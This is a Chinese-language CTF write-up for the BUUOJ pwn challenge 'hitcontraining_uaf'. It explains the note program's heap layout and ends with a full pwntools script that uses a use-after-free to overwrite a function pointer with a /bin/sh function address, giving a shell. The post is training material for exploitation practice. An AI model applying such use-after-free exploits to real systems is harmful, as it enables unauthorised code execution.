hitcontraining_uaf
使用checksec
查看:
看题目名,应该是用UAF去解题
拉进IDA中看下add
函数:
可以发现,add一个note会malloc两个堆,第一个堆不可控,大小默认为0x8,储存函数。第二个堆是用户可控的context。
本来是想看Edit函数的,结果发现这个程序并没有这个函数,给的是print:
print调用的是add_note中第一个chunk指针指向的内容,也就是print_note_content
进行输出操作。
那就只能从print_note_content
下手了。
在程序中查找一下字符串,可以发现/bin/sh
,跟进查看函数:
拿到函数的地址:0x8048945
接下来思路就很明了了
- 申请两个chunk
- free掉这两个chunk
- 再申请一个chunk,大小为
0x8
,这样就能将刚刚申请两个chunk时系统自动申请的两个chunk拿来用了,context处写入getshell的地址:0x8048945
- 调用print_not就变成了getshell
exp:
from pwn import*
# r = remote('node4.buuoj.cn',25488)
r = process('../buu/hitcontraining_uaf')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr = 0x8048945
add(0x10,'M')
add(0x10,'M')
delete(0)
delete(1)
add(0x8,p32(shell_addr))
printf(0)
r.interactive()